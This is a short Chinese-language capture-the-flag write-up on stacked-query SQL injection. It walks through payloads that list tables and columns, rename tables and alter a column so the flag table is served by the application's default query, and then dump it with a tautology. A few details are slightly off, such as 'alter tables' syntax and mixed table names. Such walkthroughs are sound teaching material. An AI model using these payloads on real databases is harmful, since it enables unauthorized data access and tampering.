SQL注入-更改表

打开题目,我们看到:

猜测是考察 sql 注入,我们输入1’查看是否有注入机会:

可以看到成功执行了,所以我们要查看能在这个数据库中获取到什么信息,执行语句:
“1’;show tables #”
这里的用单引号将查询语句结束,并用#注释掉后面的引号防止报错,这里的 show databases 就会执行了。

可以看到两个表,”1919810931114514”和“words”,我们先试一下能不能直接查询表,使用:
“1’;select * from `1919810931114514` # 发现:

禁用了以上语句,那我们就要想办法怎么拿到信息了,我们看到窗口有一个功能,这个功能多半是查询语句构造1’ or 1=1 #查询表内所有内容,没有发现 flag,说明不在这个表,这代表我们要替换表,构造:
“1’;show columns from `1919810931114514` #
发现了 flag:

那说明这个查询语句默认在表 word 里,题目似乎没有禁用 rename 和 alter,我们采取更改预设表的形式来获取 flag,构造:
1’; rename tables `words` to `words1`; rename tables `1919810931114514` to `words`;
alter tables `words` change `flag` `id` varchar(100); #
去更改flag 在的表,并按照根据id 的格式去更改 flag,让查询语句对 flag 生效,更改后,构造:
1’ or 1=1 #
查询所有内容即可获取到 flag。